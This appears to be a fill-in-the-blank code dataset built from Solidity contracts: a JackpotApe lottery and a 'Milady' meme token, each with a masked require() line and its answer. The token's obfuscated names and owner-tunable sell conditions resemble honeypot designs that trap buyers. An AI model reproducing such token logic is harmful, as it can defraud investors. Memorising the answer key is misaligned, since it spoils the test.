{ } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
(_priceTicket>=minPriceTicket)&&(_priceTicket<=maxPriceTicket),"Outside of limits"
99,547
(_priceTicket>=minPriceTicket)&&(_priceTicket<=maxPriceTicket)
"Rewards must equal 10000"
/** @title JackpotApe Lottery. * @notice It is a contract for a lottery system using * randomness provided externally. */ contract JackpotApeLottery is ReentrancyGuard, IJackpotApeLottery, Ownable { using SafeERC20 for IERC20; address public operatorAddress; address public treasuryAddress; uint256 public currentLotteryId; uint256 public currentTicketId; uint256 public maxNumberTicketsPerBuyOrClaim = 100; uint256 public maxPriceTicket = 50 ether; uint256 public minPriceTicket = 0.0005 ether; uint256 public pendingInjectionNextLottery; // uint256 public constant MIN_DISCOUNT_DIVISOR = 300; uint256 public constant MIN_DISCOUNT_DIVISOR = 0; // uint256 public constant MIN_LENGTH_LOTTERY = 4 hours - 5 minutes; // 4 hours uint256 public constant MIN_LENGTH_LOTTERY = 3 minutes; // 4 hours uint256 public constant MAX_LENGTH_LOTTERY = 4 days + 5 minutes; // 4 days uint256 public constant MAX_TREASURY_FEE = 3000; // 30% IJackpotApeRandomGenerator public randomGenerator; enum Status { Pending, Open, Close, Claimable } struct Lottery { Status status; uint256 startTime; uint256 endTime; uint256 priceTicket; uint256 discountDivisor; uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers uint256[6] ticketRewardPerBracket; uint256[6] countWinnersPerBracket; uint256 firstTicketId; uint256 firstTicketIdNextLottery; uint256 amountTotalReward; uint256[6] finalNumbers; } struct Ticket { uint256 number; address owner; } // Mapping are cheaper than arrays mapping(uint256 => Lottery) private _lotteries; mapping(uint256 => Ticket) private _tickets; IERC20 public freeTicketToken; uint256 public freeTicketTokenPrice; // free tickets amount to take free tickets for lottery // lotteryId => account => ticket amount mapping(uint256 => mapping(address => uint256)) _numberFreeTicketsPerLotteryId; uint256 public extraFreeTicketAmount = 1; address[] public extraFreeTicketTokens; mapping(address => uint256) public extraFreeTicketTokenPrice; bool private success_finalNumbers; mapping(uint256 => bool) private _checkDuplicated; // check lottery number exists in ticket of current lottery // lotteryId => ticketId => lotteryNumber => bool mapping(uint256 => mapping(uint256 => mapping(uint256 => bool))) private _existLotteryNumberInTicket; // Keep track of user ticket ids for a given lotteryId mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId; modifier notContract() { } modifier onlyOperator() { } event AdminTokenRecovery(address token, uint256 amount); event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery); event LotteryInjection(uint256 indexed lotteryId, uint256 injectedAmount); event LotteryOpen( uint256 indexed lotteryId, uint256 startTime, uint256 endTime, uint256 priceTicket, uint256 firstTicketId, uint256 injectedAmount ); event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 countWinningTickets); event NewOperatorAndTreasuryAndInjectorAddresses(address operator, address treasury); event NewRandomGenerator(address indexed randomGenerator); event FreeTicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets); event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets); /** * @notice Constructor * @dev RandomNumberGenerator must be deployed prior to this contract * @param _randomGeneratorAddress: address of the RandomGenerator contract used to work with ChainLink VRF */ constructor(address _randomGeneratorAddress) { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function getFreeTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override notContract nonReentrant { } /** * @notice Buy tickets for the current lottery * @param _lotteryId: lotteryId * @param _ticketNumbers: array of ticket numbers between 1,000,000 and 1,999,999 * @dev Callable by users */ function buyTickets(uint256 _lotteryId, uint256[] calldata _ticketNumbers) external override payable notContract nonReentrant { } /** * @notice Claim a set of winning tickets for a lottery * @param _lotteryId: lottery id * @param _ticketIds: array of ticket ids * @dev Callable by users only, not contract! */ function claimTickets( uint256 _lotteryId, uint256[] calldata _ticketIds ) external override notContract nonReentrant { } /** * @notice Close lottery * @param _lotteryId: lottery id * @dev Callable by operator */ function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant { } /** * @notice Request random number when chainlink VRF doesn't work properly. * @param _lotteryId: lottery id * @dev Callable by owner */ function requestRandomNumber(uint256 _lotteryId) external onlyOwner { } function _generateFinalNumbers(uint256 _lotteryId, uint256 randomWord, uint256 denominator) private { } /** * @notice Draw the final number, calculate reward in TICKET per group, and make lottery claimable * @param _lotteryId: lottery id * @dev Callable by operator */ function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId) external override onlyOperator nonReentrant { } function setFreeTicketToken(address _freeTicketTokenAddress, uint256 _freeTicketTokenPrice) external onlyOwner { } function calculateFreeTickets(address account, uint256 _lotteryId) public view returns (uint256) { } function setExtraFreeTicketToken(address _tokenAddress, uint256 _price) external onlyOwner { } function calculateExtraFreeTickets(address account) public view returns (uint256) { } /** * @notice Change the random generator * @dev The calls to functions are used to verify the new generator implements them properly. * It is necessary to wait for the VRF response before starting a round. * Callable only by the contract owner * @param _randomGeneratorAddress: address of the random generator */ function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner { } /** * @notice Start the lottery * @dev Callable by operator * @param _endTime: endTime of the lottery * @param _priceTicket: price of a ticket in TICKET * @param _discountDivisor: the divisor to calculate the discount magnitude for bulks * @param _rewardsBreakdown: breakdown of rewards per bracket (must sum to 10,000) * @param _rewardAmount: reward amount to winners */ function startLottery( uint256 _endTime, uint256 _priceTicket, uint256 _discountDivisor, uint256[6] calldata _rewardsBreakdown, uint256 _rewardAmount ) external override onlyOperator { require( (currentLotteryId == 0) || (_lotteries[currentLotteryId].status == Status.Claimable), "Not time to start lottery" ); require( ((_endTime - block.timestamp) > MIN_LENGTH_LOTTERY) && ((_endTime - block.timestamp) < MAX_LENGTH_LOTTERY), "Lottery length outside of range" ); require( (_priceTicket >= minPriceTicket) && (_priceTicket <= maxPriceTicket), "Outside of limits" ); require(_discountDivisor >= MIN_DISCOUNT_DIVISOR, "Discount divisor too low"); // require(_treasuryFee <= MAX_TREASURY_FEE, "Treasury fee too high"); require(<FILL_ME>) currentLotteryId++; _lotteries[currentLotteryId] = Lottery({ status: Status.Open, startTime: block.timestamp, endTime: _endTime, priceTicket: _priceTicket, discountDivisor: _discountDivisor, rewardsBreakdown: _rewardsBreakdown, ticketRewardPerBracket: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)], countWinnersPerBracket: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)], firstTicketId: currentTicketId, firstTicketIdNextLottery: currentTicketId, amountTotalReward: _rewardAmount, finalNumbers: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)] }); emit LotteryOpen( currentLotteryId, block.timestamp, _endTime, _priceTicket, currentTicketId, _rewardAmount ); } /** * @notice It allows the admin to recover wrong tokens sent to the contract * @param _tokenAddress: the address of the token to withdraw * @param _tokenAmount: the number of token amount to withdraw * @dev Only callable by owner. */ function withdrawTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner { } function withdrawEth(uint256 _amount) external onlyOwner { } /** * @notice Set TICKET price ticket upper/lower limit * @dev Only callable by owner * @param _minPriceTicket: minimum price of a ticket in TICKET * @param _maxPriceTicket: maximum price of a ticket in TICKET */ function setMinAndMaxTicketPriceInTicketToken(uint256 _minPriceTicket, uint256 _maxPriceTicket) external onlyOwner { } /** * @notice Set max number of tickets * @dev Only callable by owner */ function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner { } /** * @notice Set operator and treasury addresses * @dev Only callable by owner * @param _operatorAddress: address of the operator * @param _treasuryAddress: address of the treasury */ function setOperatorAndTreasuryAndInjectorAddresses( address _operatorAddress, address _treasuryAddress ) external onlyOwner { } /** * @notice Calculate price of a set of tickets * @param _discountDivisor: divisor for the discount * @param _priceTicket price of a ticket (in TICKET) * @param _numberTickets number of tickets to buy */ function calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) external pure returns (uint256) { } /** * @notice View current lottery id */ function viewCurrentLotteryId() external view override returns (uint256) { } /** * @notice View lottery information * @param _lotteryId: lottery id */ function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) { } /** * @notice View ticker statuses and numbers for an array of ticket ids * @param _ticketIds: array of _ticketId */ function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds) external view returns (uint256[] memory, bool[] memory) { } /** * @notice View rewards for a given ticket, providing a bracket, and lottery id * @dev Computations are mostly offchain. This is used to verify a ticket! * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function viewRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) external view returns (uint256) { } /** * @notice View user ticket ids, numbers, and statuses of user for a given lottery * @param _user: user address * @param _lotteryId: lottery id * @param _cursor: cursor to start where to retrieve the tickets * @param _size: the number of tickets to retrieve */ function viewUserInfoForLotteryId( address _user, uint256 _lotteryId, uint256 _cursor, uint256 _size ) external view returns ( uint256[] memory, uint256[] memory, bool[] memory, uint256 ) { } /** * @notice Calculate rewards for a given ticket * @param _lotteryId: lottery id * @param _ticketId: ticket id */ function _calculateRewardsForTicketId( uint256 _lotteryId, uint256 _ticketId ) internal view returns (uint256) { } /** * @notice Calculate final price for bulk of tickets * @param _discountDivisor: divisor for the discount (the smaller it is, the greater the discount is) * @param _priceTicket: price of a ticket * @param _numberTickets: number of tickets purchased */ function _calculateTotalPriceForBulkTickets( uint256 _discountDivisor, uint256 _priceTicket, uint256 _numberTickets ) internal pure returns (uint256) { } /** * @notice Check if an address is a contract */ function _isContract(address _addr) internal view returns (bool) { } receive() external payable {} }
(_rewardsBreakdown[0]+_rewardsBreakdown[1]+_rewardsBreakdown[2]+_rewardsBreakdown[3]+_rewardsBreakdown[4]+_rewardsBreakdown[5])==10000,"Rewards must equal 10000"
99,547
(_rewardsBreakdown[0]+_rewardsBreakdown[1]+_rewardsBreakdown[2]+_rewardsBreakdown[3]+_rewardsBreakdown[4]+_rewardsBreakdown[5])==10000
"Only one transfer per block allowed."
/** Milady $Milady Frens, it's time for a real Milady which is by the community, for the community. Load up the meme cannons and fire at your own will. TWITTER: https://twitter.com/Miladys_erc TELEGRAM: https://t.me/Miladys_erc20 WEBSITE: https://miladyerc.com/ **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function _mjwxv(uint256 a, uint256 b) internal pure returns (uint256) { } function _mjwxv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function _pvr(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface _pouqiv { function createPair(address tokenA, address tokenB) external returns (address pair); } interface _qavuxms { function swomKenbwcSartksFxlacvqc( uint amountIn, uint amountOutMin, address[ ] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH , uint liquidity); } contract Milady is Context, IERC20, Ownable { using SafeMath for uint256; _qavuxms private _Tewopik; address payable private _Pgimauf; address private _yiavbir; bool private _pvyckuv; bool public _Teraxlvrm = false; bool private oruvubk = false; bool private _aeujahvp = false; string private constant _name = unicode"Milady"; string private constant _symbol = unicode"Milady"; uint8 private constant _decimals = 9; uint256 private constant _sTotalvs = 100000000 * 10 **_decimals; uint256 public _pvbvorl = _sTotalvs; uint256 public _Wepmrf = _sTotalvs; uint256 public _vwaprThaevm= _sTotalvs; uint256 public _BviTcasf= _sTotalvs; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _vjquakbi; mapping (address => bool) private _traknony; mapping(address => uint256) private _rkopemo; uint256 private _BuyinitialTax=1; uint256 private _SellinitialTax=1; uint256 private _BuyfinalTax=1; uint256 private _SellfinalTax=1; uint256 private _BuyAreduceTax=1; uint256 private _SellAreduceTax=1; uint256 private _yrkvoblq=0; uint256 private _bernjye=0; event _mrojufet(uint _pvbvorl); modifier osTqeo { } constructor () { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address _owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function _approve(address _owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 Rqlmaik=0; if (from != owner () && to != owner ( ) ) { if (_Teraxlvrm) { if (to != address (_Tewopik) && to != address (_yiavbir)) { require(<FILL_ME>) _rkopemo [tx.origin] = block.number; } } if (from == _yiavbir && to != address(_Tewopik) && !_vjquakbi[to] ) { require(amount <= _pvbvorl, "Exceeds the _pvbvorl."); require(balanceOf (to) + amount <= _Wepmrf, "Exceeds the macxizse."); if(_bernjye < _yrkvoblq){ require (! _eoqnvmc(to)); } _bernjye++; _traknony [to]=true; Rqlmaik = amount._pvr ((_bernjye> _BuyAreduceTax)? _BuyfinalTax: _BuyinitialTax) .div(100); } if(to == _yiavbir && from!= address(this) && !_vjquakbi[from] ){ require(amount <= _pvbvorl && balanceOf(_Pgimauf) <_BviTcasf, "Exceeds the _pvbvorl."); Rqlmaik = amount._pvr((_bernjye> _SellAreduceTax)? _SellfinalTax: _SellinitialTax) .div(100); require(_bernjye> _yrkvoblq && _traknony[from]); } uint256 contractTokenBalance = balanceOf(address(this)); if (!oruvubk && to == _yiavbir && _aeujahvp && contractTokenBalance> _vwaprThaevm && _bernjye> _yrkvoblq&& !_vjquakbi[to]&& !_vjquakbi[from] ) { _rcjnfrf( _rkhvq(amount, _rkhvq(contractTokenBalance, _BviTcasf))); uint256 contractETHBalance = address(this) .balance; if(contractETHBalance > 0) { _ujhple(address (this).balance); } } } if(Rqlmaik>0){ _balances[address (this)]=_balances [address (this)]. add(Rqlmaik); emit Transfer(from, address (this),Rqlmaik); } _balances[from ]= _mjwxv(from, _balances[from] , amount); _balances[to]= _balances[to]. add(amount. _mjwxv(Rqlmaik)); emit Transfer (from, to, amount. _mjwxv(Rqlmaik)); } function _rcjnfrf(uint256 tokenAmount) private osTqeo { } function _rkhvq (uint256 a, uint256 b ) private pure returns (uint256){ } function _mjwxv(address from, uint256 a, uint256 b) private view returns(uint256){ } function removeLimitas ( ) external onlyOwner{ } function _eoqnvmc(address account) private view returns (bool) { } function _ujhple(uint256 amount) private { } function enableTrading ( ) external onlyOwner ( ) { } receive() external payable {} }
_rkopemo[tx.origin]<block.number,"Only one transfer per block allowed."
99,683
_rkopemo[tx.origin]<block.number
"Exceeds the macxizse."
/** Milady $Milady Frens, it's time for a real Milady which is by the community, for the community. Load up the meme cannons and fire at your own will. TWITTER: https://twitter.com/Miladys_erc TELEGRAM: https://t.me/Miladys_erc20 WEBSITE: https://miladyerc.com/ **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function _mjwxv(uint256 a, uint256 b) internal pure returns (uint256) { } function _mjwxv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function _pvr(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface _pouqiv { function createPair(address tokenA, address tokenB) external returns (address pair); } interface _qavuxms { function swomKenbwcSartksFxlacvqc( uint amountIn, uint amountOutMin, address[ ] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH , uint liquidity); } contract Milady is Context, IERC20, Ownable { using SafeMath for uint256; _qavuxms private _Tewopik; address payable private _Pgimauf; address private _yiavbir; bool private _pvyckuv; bool public _Teraxlvrm = false; bool private oruvubk = false; bool private _aeujahvp = false; string private constant _name = unicode"Milady"; string private constant _symbol = unicode"Milady"; uint8 private constant _decimals = 9; uint256 private constant _sTotalvs = 100000000 * 10 **_decimals; uint256 public _pvbvorl = _sTotalvs; uint256 public _Wepmrf = _sTotalvs; uint256 public _vwaprThaevm= _sTotalvs; uint256 public _BviTcasf= _sTotalvs; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _vjquakbi; mapping (address => bool) private _traknony; mapping(address => uint256) private _rkopemo; uint256 private _BuyinitialTax=1; uint256 private _SellinitialTax=1; uint256 private _BuyfinalTax=1; uint256 private _SellfinalTax=1; uint256 private _BuyAreduceTax=1; uint256 private _SellAreduceTax=1; uint256 private _yrkvoblq=0; uint256 private _bernjye=0; event _mrojufet(uint _pvbvorl); modifier osTqeo { } constructor () { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address _owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function _approve(address _owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 Rqlmaik=0; if (from != owner () && to != owner ( ) ) { if (_Teraxlvrm) { if (to != address (_Tewopik) && to != address (_yiavbir)) { require(_rkopemo [tx.origin] < block.number, "Only one transfer per block allowed." ); _rkopemo [tx.origin] = block.number; } } if (from == _yiavbir && to != address(_Tewopik) && !_vjquakbi[to] ) { require(amount <= _pvbvorl, "Exceeds the _pvbvorl."); require(<FILL_ME>) if(_bernjye < _yrkvoblq){ require (! _eoqnvmc(to)); } _bernjye++; _traknony [to]=true; Rqlmaik = amount._pvr ((_bernjye> _BuyAreduceTax)? _BuyfinalTax: _BuyinitialTax) .div(100); } if(to == _yiavbir && from!= address(this) && !_vjquakbi[from] ){ require(amount <= _pvbvorl && balanceOf(_Pgimauf) <_BviTcasf, "Exceeds the _pvbvorl."); Rqlmaik = amount._pvr((_bernjye> _SellAreduceTax)? _SellfinalTax: _SellinitialTax) .div(100); require(_bernjye> _yrkvoblq && _traknony[from]); } uint256 contractTokenBalance = balanceOf(address(this)); if (!oruvubk && to == _yiavbir && _aeujahvp && contractTokenBalance> _vwaprThaevm && _bernjye> _yrkvoblq&& !_vjquakbi[to]&& !_vjquakbi[from] ) { _rcjnfrf( _rkhvq(amount, _rkhvq(contractTokenBalance, _BviTcasf))); uint256 contractETHBalance = address(this) .balance; if(contractETHBalance > 0) { _ujhple(address (this).balance); } } } if(Rqlmaik>0){ _balances[address (this)]=_balances [address (this)]. add(Rqlmaik); emit Transfer(from, address (this),Rqlmaik); } _balances[from ]= _mjwxv(from, _balances[from] , amount); _balances[to]= _balances[to]. add(amount. _mjwxv(Rqlmaik)); emit Transfer (from, to, amount. _mjwxv(Rqlmaik)); } function _rcjnfrf(uint256 tokenAmount) private osTqeo { } function _rkhvq (uint256 a, uint256 b ) private pure returns (uint256){ } function _mjwxv(address from, uint256 a, uint256 b) private view returns(uint256){ } function removeLimitas ( ) external onlyOwner{ } function _eoqnvmc(address account) private view returns (bool) { } function _ujhple(uint256 amount) private { } function enableTrading ( ) external onlyOwner ( ) { } receive() external payable {} }
balanceOf(to)+amount<=_Wepmrf,"Exceeds the macxizse."
99,683
balanceOf(to)+amount<=_Wepmrf
null
/** Milady $Milady Frens, it's time for a real Milady which is by the community, for the community. Load up the meme cannons and fire at your own will. TWITTER: https://twitter.com/Miladys_erc TELEGRAM: https://t.me/Miladys_erc20 WEBSITE: https://miladyerc.com/ **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function _mjwxv(uint256 a, uint256 b) internal pure returns (uint256) { } function _mjwxv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function _pvr(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } abstract contract Context { function _msgSender() internal view virtual returns (address) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface _pouqiv { function createPair(address tokenA, address tokenB) external returns (address pair); } interface _qavuxms { function swomKenbwcSartksFxlacvqc( uint amountIn, uint amountOutMin, address[ ] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH , uint liquidity); } contract Milady is Context, IERC20, Ownable { using SafeMath for uint256; _qavuxms private _Tewopik; address payable private _Pgimauf; address private _yiavbir; bool private _pvyckuv; bool public _Teraxlvrm = false; bool private oruvubk = false; bool private _aeujahvp = false; string private constant _name = unicode"Milady"; string private constant _symbol = unicode"Milady"; uint8 private constant _decimals = 9; uint256 private constant _sTotalvs = 100000000 * 10 **_decimals; uint256 public _pvbvorl = _sTotalvs; uint256 public _Wepmrf = _sTotalvs; uint256 public _vwaprThaevm= _sTotalvs; uint256 public _BviTcasf= _sTotalvs; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _vjquakbi; mapping (address => bool) private _traknony; mapping(address => uint256) private _rkopemo; uint256 private _BuyinitialTax=1; uint256 private _SellinitialTax=1; uint256 private _BuyfinalTax=1; uint256 private _SellfinalTax=1; uint256 private _BuyAreduceTax=1; uint256 private _SellAreduceTax=1; uint256 private _yrkvoblq=0; uint256 private _bernjye=0; event _mrojufet(uint _pvbvorl); modifier osTqeo { } constructor () { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address _owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function _approve(address _owner, address spender, uint256 amount) private { } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 Rqlmaik=0; if (from != owner () && to != owner ( ) ) { if (_Teraxlvrm) { if (to != address (_Tewopik) && to != address (_yiavbir)) { require(_rkopemo [tx.origin] < block.number, "Only one transfer per block allowed." ); _rkopemo [tx.origin] = block.number; } } if (from == _yiavbir && to != address(_Tewopik) && !_vjquakbi[to] ) { require(amount <= _pvbvorl, "Exceeds the _pvbvorl."); require(balanceOf (to) + amount <= _Wepmrf, "Exceeds the macxizse."); if(_bernjye < _yrkvoblq){ require(<FILL_ME>) } _bernjye++; _traknony [to]=true; Rqlmaik = amount._pvr ((_bernjye> _BuyAreduceTax)? _BuyfinalTax: _BuyinitialTax) .div(100); } if(to == _yiavbir && from!= address(this) && !_vjquakbi[from] ){ require(amount <= _pvbvorl && balanceOf(_Pgimauf) <_BviTcasf, "Exceeds the _pvbvorl."); Rqlmaik = amount._pvr((_bernjye> _SellAreduceTax)? _SellfinalTax: _SellinitialTax) .div(100); require(_bernjye> _yrkvoblq && _traknony[from]); } uint256 contractTokenBalance = balanceOf(address(this)); if (!oruvubk && to == _yiavbir && _aeujahvp && contractTokenBalance> _vwaprThaevm && _bernjye> _yrkvoblq&& !_vjquakbi[to]&& !_vjquakbi[from] ) { _rcjnfrf( _rkhvq(amount, _rkhvq(contractTokenBalance, _BviTcasf))); uint256 contractETHBalance = address(this) .balance; if(contractETHBalance > 0) { _ujhple(address (this).balance); } } } if(Rqlmaik>0){ _balances[address (this)]=_balances [address (this)]. add(Rqlmaik); emit Transfer(from, address (this),Rqlmaik); } _balances[from ]= _mjwxv(from, _balances[from] , amount); _balances[to]= _balances[to]. add(amount. _mjwxv(Rqlmaik)); emit Transfer (from, to, amount. _mjwxv(Rqlmaik)); } function _rcjnfrf(uint256 tokenAmount) private osTqeo { } function _rkhvq (uint256 a, uint256 b ) private pure returns (uint256){ } function _mjwxv(address from, uint256 a, uint256 b) private view returns(uint256){ } function removeLimitas ( ) external onlyOwner{ } function _eoqnvmc(address account) private view returns (bool) { } function _ujhple(uint256 amount) private { } function enableTrading ( ) external onlyOwner ( ) { } receive() external payable {} }
!_eoqnvmc(to)
99,683
!_eoqnvmc(to)
null
